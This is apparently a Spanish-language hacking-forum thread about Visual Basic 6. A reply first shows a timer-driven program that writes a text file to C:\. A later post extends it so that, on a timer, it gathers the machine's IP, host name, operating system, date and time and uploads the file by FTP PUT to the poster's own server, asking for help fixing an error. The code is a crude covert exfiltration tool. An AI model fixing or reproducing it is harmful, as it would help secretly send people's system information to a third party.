mmm no tengo el VB así que lo haré de memoria.

   Dim Ti As Integer 				'# Declaración de la variable contadora.
 
   Public Sub PoC() 				'# PoC
      Ti = Ti + 1 				'# Contador + 1
      Label1.Caption = Ti 			'# Visualización del contador
      If Ti = 10 Then 				'# Verifica cantidad de contador
         Open "C:\prueba.txt" For Output As #1	'# Abre el archivo 'prueba.txt'
            Print #1, "hackxcrack"		'# escribe en el 'hackxcrack'
         Close #1 				'# Cierra el archivo 'prueba.txt'
      End If
   End Sub
 
   Private Sub Form_Load()
      Ti = 0 					'# Seteo de variable
      Timer1.Interval = 1000 			'# Seteo de intervalo en el Timer
   End Sub
 
   Private Sub Timer1_Timer()
      Call PoC() 				'# Invoca PoC
   End Sub

el problema es que el archivo lo estas creando en la carpeta default que creo que es la de visual basic, para arreglar eso podrias poner la direccion en dondo queres que se cree el archivo por ejemplo en vez de

Open "prueba.txt" for Output As #1

podes poner

Open "C:\prueba.txt" for Output As #1

y el archivo se creara en C:

Bueno otra vez tengo que recurrir de vosotros
Sigo con el mismo programa pero esta vez tiene que enviar un archivo donde pone la ip y el s.o. del ordenador a mi servidor ftp, el problema es que vb me da el tipico error 424 "se requiere un objeto. Os dejo el codigo:

Dim Ti
Private Sub Command1_Click()
Ti = Ti + 1
Label1.Caption = Ti
If Ti = 10 Then
Open ("prueba.txt") For Output As #1
Print #1, "IP del Host"; Winsock1.LocalIP
Print #1, Winsock1.LocalHostName
Print #1, SysInfo1.OSPlatform
Print #1, Date
Print #1, Time
Close #1
Inet1.Execute "ftp://Nombre Usuario:Contraseña@127.0.0.1( aqui tengo que poner la direccion de mi ftp, creo que poniendo 127.0.0.1 vale, o no?)", "PUT c:\prueba.txt" & Winsock1.LocalHostName & ".txt"
Ti = 0
End If
End Sub

Private Sub Form_Load()
Ti = 0
Timer1.Interval = 1000
End Sub



Private Sub Timer1_Timer()
Call Command1_Click
End Sub

Como es logico el nombre de usuario y contraseña no lo pongo
Muchas gracias